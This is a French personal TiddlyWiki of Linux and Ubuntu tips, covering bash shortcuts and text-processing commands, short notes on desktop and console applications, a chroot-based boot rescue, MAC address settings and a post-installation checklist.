|bgcolor(lightyellow):  ''Ctrl+E''|bgcolor(lightyellow):Amène le curseur en fin de ligne |
|bgcolor(lightyellow):  ''Ctrl+A''|bgcolor(lightyellow):Ramène le curseur en fin de ligne |
|bgcolor(lightyellow):  ''Ctrl+L''|bgcolor(lightyellow):Efface l'écran |
|bgcolor(lightyellow):  ''Ctrl+S''|bgcolor(lightyellow):Pour interrompre le flot d'affichage (Ctrl+q pour revenir) |
|bgcolor(lightyellow):  ''Ctrl+U''|bgcolor(lightyellow):Efface tout à gauche du curseur |
|bgcolor(lightyellow):  ''Ctrl+K''|bgcolor(lightyellow):Efface tout à droite du curseur|
|bgcolor(lightyellow):  ''Ctrl+W''|bgcolor(lightyellow):Efface le mot à gauche du curseur |
|bgcolor(lightyellow):  ''Alt+F''|bgcolor(lightyellow):Pour avancer le curseur d'un mot |
|bgcolor(lightyellow):  ''Alt+B''|bgcolor(lightyellow):Pour reculer le curseur d'un mot |
|bgcolor(lightyellow):  ''TAB''|bgcolor(lightyellow):Auto-complète la commande |
|bgcolor(lightyellow):  ''^atp^apt''|bgcolor(lightyellow):Pour exécuter la dernière commande en remplaçant //atp// par //apt//|
Astuce: ''Outils bash pour le traitement de flux standards et fichiers''
Mots clef: bash
Os: Linux
Liens: [[source|http://www.phys.ethz.ch/~wuertz/LinuxWS0607/kommandos/textbearbeitung.htm]]
<<<
Ce tiddler est en partie la traduction du texte en [[source|http://www.phys.ethz.ch/~wuertz/LinuxWS0607/kommandos/textbearbeitung.htm]] à laquelle j'ai ajouté quelques lignes man.

''csplit''
Découpe un fichier en sections déterminées par des lignes de contexte (modèle). Le modèle doit être indiqué entre deux Slashes. Crée plusieurs fichiers de sortie contenant différentes sections du fichier d'entrée indiqué, ou de l'entrée standard si le nom `-' est fourni.
{{{
$ csplit  -k --prefix mail > /var/spool/mail/user /^From/
}}}
''cut''
Permet d'extraire des parties de lignes d'un fichier. La commande cut -c1-5 fic extrait les 5 premiers caractères du fichier fic, alors que cut -f3,7 extrait les 3ème et 7ème champs (noter la différence entre la séparation par tiret et celle par virgule). Le séparateur par défaut est la tabulation, l'option -d permettant de le redéfinir. .
{{{
$ ls -l /boot | cut -b 1-11,56-
    total 718
    -rw-r--r--      System.map 
    -rw-r--r--      boot.b
    -rw-r--r--      chain.b
    -rw-------      map
    -rw-r--r--      vmlinuz
}}}
''expand''
Convertit les tabulation en espaces vides.
{{{
$ expand file1 > file2
}}}
''fold''
Tronquer (Replier) de longues lignes à une position donée
{{{
$ cat > testdat
$ Une très longue ligne [Enter],[Ctrl][D]
$ fold -12 testdat
Une très lo
ngue ligne
}}}
''fromdos''
Conversion des lignes en format DOS vers le format Linux

''grep''
Permet la recherche d'une suite de caractère
{{{
$ ps eax | grep bash
     167   2 S   0:00 -bash
     166   1 S   0:00 -bash TERM=linux HZ=100 HOME=/...
    1630  p0 S       0:00 grep bash PWD=/home/user...
}}}
''head''
Affiche les premières (10) lignes
{{{
$ root@debian> head -20 /var/log/messages
}}}
''join''
Par l'exemple:
Fichier1 contient:
{{{
Jean grand
Marcel petit
}}}
Fichier2 contient:
{{{
Jean blond
Marcel brun
}}}
Ainsi on aura
{{{
$ join -j1 1 Fichier1 Fichier2
Jean grand blond
Marcel petit brun
}}}
L'option -j1 n permet de spécifier que c'est le n-ième champ de chacun des fichiers qui définit la relation.

''less''
Afficher les données pages après pages. Plusieurs options possible comme / et ? pour la recherche. Q pour quitter.

''more''
Semblable à less

''nl''
Numération des lignes d'un fichier
{{{
$ nl index.html
    1  <HTML>

    2  <HEAD<
    3          >TITLE>Index</TITLE>
    4  </HEAD>

    5  <frameset cols="200,*">
    6          <frame src="contents.html" name="link">
    7          <frame src="foil1.html" name="foil1">
    8  </frameset>
    9  </HTML>
}}}
''paste''
Permet de combiner plusieurs fichiers ligne à ligne
{{{
$ less teste1.txt
      Ligne1 de teste1.txt
      Ligne2 de teste1.txt[Q]

$ more teste2.txt
      Ligne1 de teste2.txt
      Ligne2 de teste2.txt

$ paste teste1.txt teste2.txt
      Ligne1 de teste1.txt Ligne1 de teste2.txt
      Ligne2 de teste1.txt Ligne2 de teste2.txt
}}}
''cecode''
Permet la conversion entre différents formats, voir ReCode.

''sed''
Editeur de flux puissant, voir SeD.

''sort''
Permet de trier une entrée
{{{
$ ls -l /boot | sort +4
    -rw-r--r--  1  root  root     300  Dec  11 22:08  chain.b
    -rw-r--r--  1  root  root    4536  Dec  11 22:08  boot.b
    -rw-r--r--  1  root  root    9728  Feb  15 16:01  map
    -rw-r--r--  1  root  root  131719  Feb  15 16:01  System.map
    -rw-r--r--  1  root  root  579254  Feb  15 16:01  vmlinuz
}}}
''tac''
Comme cat mais depuis la fin
{{{
$ tac test1.txt
    Ligne2 de teste1.txt
    Ligne1 de teste1.txt
}}}
''tail''
Affiche les (10) dernières lignes d'une entrée
{{{
$ tail /var/log/messages
}}}
''tr''
Permet, dans une donnée, de remplacer certains caractères par d'autres.
{{{
$ cat > testdat
      La lune est belle ce matin.
$ tr e y < testdat
     La luny yst bylly cy matin  
}}}
''uniq''
Supprime les lignes en doublon.
{{{
 less testdat
      1er ligne
      2eme ligne
      1er ligne
$ sort testdat | uniq
      1er ligne
      2eme ligne
}}}
Astuce: ''Avoir les raccourcis vim dans le terminal''
Mots clef: bash, console, vim
Os: Linux
Liens: [[source| http://chm.duquesne.free.fr/blog/?p=46 ]]
<<<
Localement dans le fichier //~/.inputrc ou globalement dans le fichier //tc/inputrc// rajouter :
{{{
set editing-mode vi
set keymap vi
}}}
Et pour un "deux fois echap pour faire un clear"
{{{
"\e\e": "\C-a\C-k"
}}}

''Note: ''pas compatible avec la fonction "recherche dans l'historique avec les flèches" de BashCompletion.
''Nom de l'application'': ''@@color(red): Blink @@''
Mots clef: 
Liens: [[source1| http://theglu.tuxfamily.org/wordpress/2007/04/11/je-viens-de-decouvrir-une-utilite-a-la-led-scroll-lock-de-mon-clavier-nouveaux-mails/ ]],  [[source2| http://bobuse.free.fr/blog/index.php/2007/09/07/faire-clignoter-son-clavier-a-larrivee-de-nouveaux-messages-instantanes/]]
<<<
''Description: ''Blink est petite application permettant de faire clignoter les LED du clavier (associées aux touches Caps Lock, Num Lock et Scroll Lock

''Installation: ''{{{# aptitude install blink}}}

''Utilisation: ''
Par exemple, pour lancer le clignotement de la LED Scroll Lock par pas de 3 clignotements:
{{{
$ blink -s -r 3
}}}
Avec les options suivantes:
-r nombre de clignotement de suite
-c touche Caps Lock
-n touche Num Lock
-s touche Scroll Lock
Pour stopper le clignotement, simplement:
{{{
$ blink
}}}
Blink peut, par exemple, être utilisé pour avertir de la réception d'un mail ([[source1| http://theglu.tuxfamily.org/wordpress/2007/04/11/je-viens-de-decouvrir-une-utilite-a-la-led-scroll-lock-de-mon-clavier-nouveaux-mails/ ]]), ou pour l'avertissement d'un message irc  ([[source2| http://bobuse.free.fr/blog/index.php/2007/09/07/faire-clignoter-son-clavier-a-larrivee-de-nouveaux-messages-instantanes/]])

''Notes: ''
* Blink peut aussi être utilisé en réseau grâce au daemon sous-jacent: [[blinkd|http://www.nongnu.org/blinkd/]].
* Pour allumer/éteindre la LED Scroll Lock, on peut aussi utiliser: {{{$ xset led 3}}} pour allumer et {{{$ xset -led 3}}} pour éteindre.
''Nom de l'application'': ''@@color(red): BlueGriffon @@''
Mots clef: internet, page web, design
Liens: [[Site officiel| http://bluegriffon.org/ ]]
<<<
''Description: ''Basé sur le moteur de Mozilla Firefox, BlueGriffon est un éditeur HTML WYSIWYG. Il permet de créer des documents HTML4 & 5, via une interface moderne et intuitive. Il offre la possibilité d’ajouter des éléments audio & vidéo à votre page en quelques clics seulement.

''Installation: ''via l'installateur sur le [[Site officiel| http://bluegriffon.org/ ]]

''Notes: ''voir aussi KompoZer
''Nom de l'application'': ''@@color(red): Blueproximity @@''
Mots clef: bluetooth, vérouillage
Liens: [[site officiel| http://sourceforge.net/projects/blueproximity/ ]]
<<<
''Description: ''Blueproximity est un petit logiciel qui permet, via votre télephone portable et le bluetooth activé, de vérouiller l'ordinateur dès que la distance entre le téléphone et l'ordinateur est supérieure à une certaine valeur que l'on peut définir.

''Installation: ''[[via apt|apt://blueproximity]]

''Utilisation: ''Il est nécessaire de tout d'abord activer la connexion entre le téléphone portable et l'ordinateur. Ensuite, dans le menu préférence, on peut choisir le téléphone et définir les paramètres de distance pour le verrouillage/déverrouillage de l'ordinateur.

''Note: ''Il est possible de changer les commandes lancées pour le verrouillage/déverrouillage.
''Nom de l'application'': ''@@color(red): Boxes @@''
Mots clef: ascii, scripts, image, cadres, signatures
Liens: [[source|http://macsim.labolinux.net/index.php/2006/10/20/18-jouer-avec-l-ascii-figletboxescowsay-reecriture ]]
<<<
''Description: ''Création de boîte de commentaire, par exemple pour un script shell ou pour la création de signature

''Installation: ''{{{# aptitude install boxes}}}
Attention, la version installée avec ubuntu dapper et edgy contient un bug empêchant son exécution, pour y remédier:
{{{
# mv /etc/boxes/boxes-config /tmp
# rmdir /etc/boxes
# mv /tmp/boxes-config /etc/boxes
}}}

''Notes: ''Exemples d'utilisation pour un script shell:
{{{$ echo "Mon beau commentaire"| boxes -d shell}}} 
ce qui donne:
{{{
########################
# Mon beau commentaire #
########################
}}}
Pour plus de style, voir le lien ou le fichier {{{/etc/boxes}}}

Pour la conversion de texte en image ascii, voir aussi ASCIIVideoEtImage

P.s.: Notons l'existence de linuxlogo
''Nom de l'application'': ''@@color(red): Bootchart @@''
Mots clef: Analyse système
Liens: [[site officiel|http://www.bootchart.org ]]
<<<
''Description: ''Bootchart permet l'analyse et la visualisation des performances au cours de l'amorçage qui peuvent ensuite être rendues sous la forme d'un tableau encodé en .png. Utile en particulier quand l'on désire quantifié une optimisation du démarrage (par la suppression de certains services par exemple).

''Installation: ''
*Sous ubuntu dapper, un simple {{{apt-get install bootchart}}} suffit.
* Pour ubuntu breezy, il est nécessaire de compiler le programme. Pour ce faire: 
# Télécharger l'archive sur le [[site officiel|http://www.bootchart.org/download.html ]] (actuellement bootchart 0.9)
# Décompresser l'archive grâce à la commande {{{$ tar -xvjf bootchart-0.9.tar.bz2}}}
# Se rendre dans le répertoire bootchart-0.9 et taper {{{$ make install}}} et finallement {{{$ ./install}}}
# Il reste encore à modifier grub pour permettre le boot avec option bootchart: éditer le fichier ///boot/grub/menu.list// et ajouter les lignes (en les adaptant à votre système) 
{{{
title Bootchart
root (hd0,2)
kernel /boot/vmlinuz-2.6.11 root=/dev/hda3 ro init=/sbin/bootchartd
initrd /boot/initrd.img-2.6.11
savedefault
boot
}}}

''Utilisation: ''Au prochain démarrage, vous avez la possibilité, par grub, de choisir l'option bootchart, qui va alors commencer son analyse. Une fois le boot terminé, vous pouvez aller récupérer les informations accumulées dans l'archive // /var/log/bootchart.tgz//. A partir de là, vous devriez pouvoir créer le tableau en .png grâce à la commande {{{java -jar bootchart.jar}}}. Si cette commande ne fonctionne pas, ce qui est le cas sous breezy, vous pouvez, sur le [[site officiel|http://www.bootchart.org/download.html ]], convertir online votre bootchart.tgz en une jolie image .png.
<<<
Astuce: ''solution en cas de bloquage total lors du démarrage du système''
Mots clef: système, boot
Os: Ubuntu
<<<
Il peut arriver, à la suite d'une mise à jour incomplète voir mal venue ou d'une configuration corrompue, que le système ne permette même plus de démarrer. Il s'agit donc d'un bloquage lors du boot, sans accès à la ligne de commande. 
Si la réparation du système à partir du cd ne fonctionne pas, la solution suivante vaut la peine d'être essayée:

*A partir du live-cd
1) Démarrer à partir du cd
2) Rechercher la partition sur laquelle est installé le système (avec gparted par exemple). Ici, par exemple, hda5,
3) Créer un répertoire où monter la partition  
{{{
$ mkdir /mnt/hda5
}}}
4) Monter la partition 
{{{
$ sudo mount /dev/hda5 /mnt/hda5
}}}
5) On va lier les dossier système avec celui sur hda5:
{{{
$ sudo mount --bind /dev /mnthda5/dev
$ sudo mount --bind /proc /mnthda5/proc
$ sudo mount --bind /sys /mnthda5/sys
}}}
6) Grâce à la commande chroot on peut changer le repertoire racine du systeme et de faire comme si on était sur le système à sauver
{{{
$ sudo chroot /media/hda5 /bin/bash 
$ sudo mount -a
}}}
Voilà, maintenant les modifications aportées se feront sur le système contenu dans hda5
* Etapes de sauvetage
Tout dépend bien sûr du problème, mais deux solutions vous sont proposées:
a) Faire une mise à jour complète
{{{
$ sudo apt-get update
$ sudo apt-get upgrade
}}}
ou
b) Reconfigurer le kernel et l'initramfs avec l'image séléctionnée: 
{{{
sudo dpkg-reconfigure linux-image-$(uname -r)
}}}
Reste plus qu'à prier et redémarrer.
<<<
''Nom de l'application'': ''@@color(red): Brightside @@''
Mots clef: utilitaire, gnome, bureau
Liens: [[lien| http://debaday.debian.net/2007/05/06/brightside-workspace-switcher/]]
<<<
''Description: ''Brightside est un logiciel permettant d'attribuer des actions à certaines positions de la souris à l'écran. Il permet, entre autre, de passer d'un plan de travail à un autre en amenant la souris sur le bord droit ou gauche de l'écran.

''Installation: ''{{{# aptitude install brightside}}}

''Utilisation: ''pour configurer brightside, lancer {{{$ brightside-properties}}}

''Notes: ''Pour kde, le passage d'un workspace à un autre est encore plus simple, voir SwitchWorkspaceAvecLaSouris.
''Nom de l'application'': ''@@color(red): BSD games @@''
Mots clef: jeux, console, terminal
Liens: [[ text | url ]]
<<<
''Description: ''BSD games est une collection de jeux "textes" en console développés à la base sous bsd

''Installation: ''[[via apt|apt://bsdgames]]

''Utilisation: ''
Liste des jeux présents (certains ne sont cependant pas disponibles dans le paquet pour linux):
{{{
    * adventure - an exploration game
    * arithmetic - quiz on simple arithmetic
    * atc - air traffic controller game
    * backgammon - the game of backgammon
    * banner - print large banner on printer
    * battlestar - a tropical adventure game
    * bcd - reformat input as punch cards, paper tape or morse code
    * boggle - word search game
    * caesar - decrypt caesar cyphers
    * canfield - the solitaire card game canfield
    * cfscores - show scores for canfield
    * cribbage - the card game cribbage
    * fish - play Go Fish
    * gomoku - game of 5 in a row
    * hangman - Computer version of the game hangman
    * hunt - a multi-player multi-terminal game
    * huntd - hunt daemon, back-end for hunt game
    * mille - play Mille Bornes
    * monop - Monopoly game
    * morse - reformat input as punch cards, paper tape or morse code
    * number - convert Arabic numerals to English
    * phantasia - an interterminal fantasy game
    * pom - display the phase of the moon
    * ppt - reformat input as punch cards, paper tape or morse code
    * primes - generate primes
    * quiz - random knowledge tests
    * rain - animated raindrops display
    * random - random lines from a file or random numbers
    * robots - fight off villainous robots
    * rot13 - rot13 encrypt/decrypt
    * sail - multi-user wooden ships and iron men
    * snake - display chase game
    * teachgammon - learn to play backgammon
    * tetris-bsd - the game of tetris
    * trek - trekkie game
    * wargames - shall we play a game?
    * worm - Play the growing worm game
    * worms - animate worms on a display terminal
    * wtf - translates acronyms for you
    * wump - hunt the wumpus in an underground cave 
}}}
Et par genres:
{{{
Action games:

    * hunt - a multi-player multi-terminal game
    * worm - Play the growing worm game 

Board games:

    * backgammon - the game of backgammon
    * gomoku - game of 5 in a row
    * monop - Monopoly game 

Card games:

    * canfield - the solitaire card game canfield
    * cribbage - the card game cribbage
    * fish - play Go Fish
    * mille - play Mille Bornes 

Formatting fun:

    * banner - print large banner on printer
    * bcd - reformat input as punch cards, paper tape or morse code
    * morse - reformat input as punch cards, paper tape or morse code
    * number - convert Arabic numerals to English
    * pig - eformatray inputway asway Igpay Atinlay
    * ppt - reformat input as punch cards, paper tape or morse code
    * random - random lines from a file or random numbers
    * rot13 - rot13 encrypt/decrypt 

Puzzle/Quiz:

    * arithmetic - quiz on simple arithmetic
    * boggle - word search game
    * hangman - Computer version of the game hangman
    * robots - fight off villainous robots
    * snake - display chase game
    * tetris-bsd - the game of tetris
    * quiz - random knowledge tests
    * wump - hunt the wumpus in an underground cave 

Role playing:

    * adventure - an exploration game
    * battlestar - a tropical adventure game
    * phantasia - an interterminal fantasy game 

"Screensavers":

    * rain - animated raindrops display
    * worms - animate worms on a display terminal 

Simulation games:

    * atc - air traffic controller game
    * sail - multi-user wooden ships and iron men
    * trek - trekkie game 

Various calculations:

    * caesar - decrypt caesar cyphers
    * pom - display the phase of the moon
    * primes - generate primes 

Other:

    * cfscores - show scores for canfield
    * huntd - hunt daemon, back-end for hunt game
    * snscore - show scores for snake
    * teachgammon - learn to play backgammon
    * wargames - shall we play a game?
    * wtf - translates acronyms for you 
}}}
Astuce: ''Changer le butineur employé par défaut par le système (pour des liens mail par exemple)''
Mots clef: Système, Internet, browser, firefox
Os: (K)Ubuntu
<<<
On peut faire simplement cette sélection grâce à la ligne suivante:
{{{
# update-alternatives --config x-www-browser
}}}
Et en entrant ensuite le numéro du butineur de son choix.
''Nom de l'application'': ''@@color(red): Byzanz @@''
Mots clef: vidéo, gif animé, capture, screencast
Liens: [[source| http://pwet.fr/blog/faire_une_capture_d_ecran_en_gif_anime_un_screencast ]]
<<<
''Description: ''Byzanz est un programme qui permet de faire des captures d'écran sous forme de "vidéo" en format .gif animé. Très pratique pour les sites web.

''Installation: ''{{{# aptitude install byzanz}}}

''Notes: ''Utilisation
Lancez un terminal et entrez la commande:
{{{
$ byzanz-record -l -d 15 -x 249 -y 196 -w 460 -h 300 -c --delay=2 fichier.gif
}}}
Ce qui va enregistrer deux secondes après son lancement un GIF animé nommé fichier.gif tournant en boucle de 460x300 pixels dont le point d'origine est 249x196 d'une durée de 15 secondes en incluant le curseur X11. Attention, ça ne fonctionne pas si compiz est activé.

''Note: ''Voir aussi IstanBul (enregistrer en format .mpeg), GtkRecordMyDesktop (enregistrer en format .ogg), XvidCap (enregistrer en format .avi) et encore VlcScreenCast bien sympa.
''Nom de l'application'': ''@@color(red): Cmatrix @@''
Mots clef: futilitaire, console
''Lien: ''[[source|http://kmandla.wordpress.com/2007/05/17/more-terminal-programs-you-should-be-using-like-a-pro/]]
<<<
''Description: ''Transforme votre console en écran "à la matrix"

''Installation: ''{{{# aptitude install cmatrix}}}

''Utilisation: ''{{{$ cmatrix -sabu 2}}}
Astuce: ''Transformer sa webcam en caméra de sécurité qui, lors de mouvement, enverra les images sur votre serveur ftp''
Mots clef: sécurité, caméra, ftp
Os: linux
Liens: [[source| http://www.newlinuxuser.com/turn-your-webcam-into-an-ftp-security-camera/ ]],  [[site officiel de motion|http://www.lavrsen.dk/twiki/bin/view/Motion/]].
<<<
Tout d'abord il faut installer le programme //motion// via 
{{{# aptitude install motion}}}

Une fois le programme lancé via 
{{{
$ motion
}}}
Motion va alors enregistrer dans le répertoire ///tmp// les images des mouvements détectés. Pour pourvoir enregistrer dans le dossier de son choix il faut éditer le fichier ///etc/motion/motion.conf// et remplacer la ligne {{{target_dir /tmp}}} par
{{{
target_dir /leCheminDe/monDossier
}}}
Noton aussi l'option framerate qui permet (dans le même fichier) de changer le nombre d'images par seconde (entre 2-100).

Afin de pouvoir envoyer les images enregistrées sur un serveur ftp, nous allons utiliser wput 
{{{# aptitude install wput}}}

Après l'installation, il ne reste qu'à ajouter à la fin du fichier ///etc/motion/motion.conf// la ligne suivante:
{{{
on_picture_save wput ftp://nomUtilisateur:motDePasse@votreServeur %f
}}}
L'otion %f permet de uploader chaque image telle quelle, cependant motion permet également de remplacer la suite d'image par de petits films. Pour plus de détails, voir: [[configuration de motion|http://www.lavrsen.dk/twiki/bin/view/Motion/ConfigFileOptions]].
<html>
 <p align=center>
Ce wiki a pour objet de m'aider à retrouver les informations accumulées au sujet de <a href="http://www.100mb.nl" target="_blank">Mr.Tux</a> et GNU/Linux (sous Ubuntu en général). 
Finalement, j'ai décidé de le mettre à disposition de toute personne intéressée. Veuillez noter que certains programmes et astuces commencent à dater et peuvent ne plus être d'actualité.
<BR>
<BR>
Je remercie la <a href="http://www.tuxfamily.org" target="_blank">TuxFamily</a> pour l'hébergement ainsi que l'ensemble de mes sources en général. Si j'ai pu parfois malencontreusement négligé de citer ces dernières, je m'en excuse et leur laisse tout le crédit qui leur est dû.
<BR>
</p>
 <div align=center>
<img src="gnu_tux.png" alt="Gnu Tux">
</div>
</html>
<<tiddler AfficheCitation>>
----
<html>
<BR>
<div align=center>Et pour le dessert, un peu de musique libre ?<BR><object width="300" height="15" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"  codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" align="middle"> <param name="allowScriptAccess" value="always" /><param name="wmode" value="transparent" /> <param name="movie" value="http://www.jamendo.com/fr/get/track/list/album/none/player/?autoload=true&info_button_target=_top&info_button_text=INFO+ON+JAMENDO&item_o=random&n=all&player_height=15&player_title=JAMENDO&player_type=xspfplayer_slim&player_width=300&playlist_url=http%3A%2F%2Fapi.jamendo.com%2Fget%2Ftrack%2Flist%2Falbum%2Faudio%2Fxspf%2F%3Faue%3Dmp31%26item_o%3Drandom%26n%3Dall%26subset%3Duser_star%26uid%3D74343&repeat_playlist=true&subset=user_star&uid=74343" /> <param name="quality" value="high" /> <param name="bgcolor" value="#FFFFFF" /> <embed src="http://www.jamendo.com/fr/get/track/list/album/none/player/?autoload=true&info_button_target=_top&info_button_text=INFO+ON+JAMENDO&item_o=random&n=all&player_height=15&player_title=JAMENDO&player_type=xspfplayer_slim&player_width=300&playlist_url=http%3A%2F%2Fapi.jamendo.com%2Fget%2Ftrack%2Flist%2Falbum%2Faudio%2Fxspf%2F%3Faue%3Dmp31%26item_o%3Drandom%26n%3Dall%26subset%3Duser_star%26uid%3D74343&repeat_playlist=true&subset=user_star&uid=74343" base="http://www.jamendo.com/fr/get/track/list/album/none/player/"  quality="high" wmode="transparent" bgcolor="#FFFFFF" width="300" height="15" align="middle" allowScriptAccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"> </embed> </object></div>
</p>
</html>
----
<<gradient vert #ffffff #ffffff #ffffff >>color:black;text-align:center; <<randomlink ProgX>>: un programme <:- - -:> une astuce: <<randomlink TipX>>>>
<html>
<div align=center>
<a href="http://www.bartux.net/wiki/rss.xml" target="_blank"><img border="0" alt="RSS" title="RSS" src="http://www.bartux.net/wiki/rss_logo.png"/></a>
<br>
<a rel="license" href="http://creativecommons.org/licenses/by-nc/3.0/deed.fr"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-nc/2.0/fr/80x15.png" /></a><br /></a>.

</div>
</html>
''Nom de l'application'': ''@@color(red): Ccze @@''
Mots clef: utilitaire, console, shell, log
Liens: [[soutce| http://merzhin.serveftp.org/blog/index.php?2007/03/08/97-un-monde-de-log-en-couleur ]]
<<<
''Description: ''Ccze est un programme permettant d'ajouter de la couleur à l'affichage des logs. Il possède des plugins pour colorer apm, exim, fetchmail, httpd, postfix, procmail, squid, syslog, ulogd, vsftpd, xferlog, et plus encore
''Installation: ''{{{# aptitude install ccze}}}

''Utilisation: ''
Afficher les logs serveurs:
{{{$ tail -f /var/log/apache2/access.log | ccze}}}
Les logs système:
{{{$ cat /var/log/auth.log | ccze | more}}}
Vous avez également la possibilité d'exporter la colorisation en html avec l'option -h
{{{$ ccze -h < /var/log/auth.log > monfichier.html}}}
Pour avoir la liste des plugins disponibles:
{{{$ ccze -l}}}
''Nom de l'application'': ''@@color(red): Celestia @@''
Mots clef: astronomie
<<<
''Description: ''Très beau logiciel permettant la découverte de l'astronomie; de la lune à la voie lactée en passant par tout le système solaire.

''Installation: ''[[via apt|apt://celestia]]

''Notes: ''voir aussi StellariuM
Astuce: ''Les couleurs terminal pour les répertoires NFS montés sont verts et peu lisibles sur certains écran''
Mots clef: bash, couleur
Os: Linux
Liens: [[source|http://ubuntuforums.org/showthread.php?t=764824]]
<<<
Exporter la base de données dircolors
{{{
$ dircolors --print-database > ~/.mydircolors
}}}

Changer les deux lignes suivantes ainsi
{{{
STICKY_OTHER_WRITABLE 01;34 # dir that is sticky and other-writable (+t,o+w)
OTHER_WRITABLE 01;34 # dir that is other-writable (o+w) and not sticky
}}}

Dans le fichier //.bashrc//, trouver la section
{{{
# enable color support of ls and also add handy aliases
if [ "$TERM" != "dumb" ]; then
    eval "`dircolors -b`"
    alias ls='ls --color=auto'
    #alias dir='ls --color=auto --format=vertical'
    #alias vdir='ls --color=auto --format=long'
fi
}}}
Et changer {{{"`dircolors -b`"}}} par {{{"`dircolors ~/.mydircolors`"}}}

Reste plus qu'à mettre à jour avec {{{$ bash}}}. 
Astuce: ''Gérer les adresses mac''
Mots clef: réseau
Os: Linux
<<<
''Connaître son adresse mac:''
La commande {{{$ arp}}} permet de connaître l'adresse mac des interfaces réseau présentes

''Changer son adresse mac:''
L'adresse mac physique d'une carte réseau ne peut être changée, cependant il est possible de modifier l'adresse fournie par votre système d'exploitation:
{{{
$ ifconfig eth0 down
$ ifconfig eth0 hw ether 01:02:03:04:05:06
$ ifconfig eth0 up
$ /etc/init.d/networking restart 
}}}
où 01:02:03:04:05:06 est la nouvelle adresse mac

''Changer son adresse mac au démarage:''
en utilisant la directive pre-up de {{{/etc/network/interfaces}}}:
{{{
# le fichier /etc/network/interfaces
auto eth0
iface eth0 inet static
pre-up ifconfig eth0 hw ether 0A:0B:AA:89:68:34
address 192.168.0.10
netmask 255.255.255.0
gateway 192.168.0.1 
}}}

ou plus simplement avec dhcp:
{{{
auto eth0
iface eth0 inet dhcp
hwaddress ether 01:02:03:04:05:06
}}}
Astuce: ''Paramétrages et programmes post-installation''
Mots clef: installation, aide-mémoire
Os: Ubuntu Hardy 8.04
Liens: [[site d'inspiration| http://sebsauvage.net/ubuntu/checklist/ubuntu810.html ]]
<<<
*Installation
''Système''
installation des drivers propriétaires NVIDIA
Installation des mises à jour disponibles via Update Manager
Edition du fichier ///etc/apt/sources.list// pour ajouter les dépôts commentés
remplacement du fichier //~/.bashrc//
Installation du dépôt Medibuntu (pour certains codecs, Skype, Google Earth,...)
{{{
$ wget -q http://fr.packages.medibuntu.org/medibuntu-key.gpg -O- | sudo apt-key add -
$ sudo wget http://www.medibuntu.org/sources.list.d/hardy.list -O /etc/apt/sources.list.d/medibuntu.list
}}}
Installation du dépôt pour TasQue
{{{
#Tasque
deb http://ppa.launchpad.net/tasque-packagers/ubuntu hardy main
}}}
Installation du dépôt pour GnomeDo
{{{
#Gnome-Do
deb http://ppa.launchpad.net/do-core/ubuntu hardy main
}}}
Installation décodage des DVD
{{{
# /usr/share/doc/libdvdread3/install-css.sh
}}}
Installation du support d'impression complet HP
{{{
# sudo aptitude install hplip-gui
}}}
Ajout d'utilisateurs
Système > Administration > Utilisateurs et groupes > Dévérouiller 

''Applications''
curl compizconfig-settings-manager geany gnome-do yakuake vim-full skype gufw linux-restricted-modules ubuntu-restricted-extras p7zip-fu ttf-liberation nautilus-open-terminal bum non-free-codecs vlc mplayer preload smart-notifier ntfsprogs sbackup gimp-data-extras gimp-plugin-registry gparted htop rsync grsync cups-pdf imagemagick kaffeine amarok circular-application-menu scribus-ng bluefish tasque mpg321 ffmpeg iftop conky ffmpeg2theora acroread glipper cheese openssh-server Inkscape amule retroshare keepassx dropbox ejecter

*Réglages 

''Système''
Ip fixe 
éditions du fichier /etc/network/interfaces
démarrage automatique de gnome-do
Activer historique grâce aux flèches "up" et "down" dans ///etc/inputr// ajouter les lignes suivantes:
{{{
# alternate mappings for "up arrow" and "down arrow" to search the history
"\e[A": history-search-backward
"\e[B": history-search-forward
}}}

''Panel''
ajout de Tomboy
ajout de Network Monitor
ajout de workspaces (4 au total)

''Applications''
Nautilus
Réduction de la taille des icônes par défaut (préférences)
Ouverture en un clic (préférences)

Firefox
Installation plugin flash
Restauration du profile sauvegardé
''Nom de l'application'': ''@@color(red): Circular Application Menu @@''
Mots clef: lanceur, gone
Liens: [[source| http://xibex.blogspot.com/2008/09/circular-application-menu-for-ubuntu.html ]]
<<<
''Description: ''Circular Application Menu est un lanceur d'application circulaire qui reprend la structure de classement du menu Applications de Gnome.

''Installation: ''[[via getdeb|http://www.getdeb.net/app/Circular+Application+Menu]]

''Utilisation: ''Tout à fait intuitif

''Notes: ''Application en développement, à surveiller donc.
/***
''QuoteOfTheDayPlugin for TiddlyWiki version 1.2.x and 2.0''
^^author: Eric Shulman - ELS Design Studios
source: http://www.TiddlyTools.com/#QuoteOfTheDayPlugin
license: [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]^^

Display a randomly selected "quote of the day"

!!!!!Usage
<<<
{{{<<QOTD //tiddlername//>>}}}
Put your quotations into a tiddler (called //tiddlername//).  Separate each quote by a horizontal rule (use "----" on a line by itself).  Each time the macro is rendered it will display a different quotation, selected at random from the specified tiddler.
<<<
!!!!!Example
<<<
{{{<<QOTD Quotations>>}}}
<<QOTD Quotations>>
<<<
!!!!!Installation
<<<
import (or copy/paste) the following tiddlers into your document:
''QuoteOfTheDayPlugin'' (tagged with <<tag systemConfig>>)
^^documentation and javascript for QuoteOfTheDay handling^^
<<<
!!!!!Revision History
<<<
''2005.10.21 [1.0.0]''
Initial Release
<<<
!!!!!Credits
<<<
This feature was developed by EricShulman from [[ELS Design Studios|http:/www.elsdesign.com]].
Based on a suggestion by M.Russula
<<<
!!!!!Code
***/
//{{{
version.extensions.QOTD = {major: 1, minor: 0, revision: 0, date: new Date(2005,10,21)};
config.macros.QOTD = {};
config.macros.QOTD.handler= function(place,macroName,params) {
	var txt=store.getTiddlerText(params[0]); if (!txt) return;
	var quotes=txt.split("\n----\n");
	// then, get a random index number between 0 and N-1 and wikify that text
	wikify(quotes[Math.floor(Math.random()*quotes.length)],place);
}
//}}}
Un ordinateur sans COBOL ni Fortran est comme un gâteau au chocolat sans ketchup ni moutarde.
----
L'une des raisons pour laquelle la vie est complexe, est qu'elle a une partie réelle, et une partie imaginaire. (Andrew Koenig )
----
Computers are like air conditioners, they are useless when you open Windows. 
----
In tux we trust
----
Use the fork() luke
----
May the source be with you 
----
Un clavier azerty en vaut deux
----
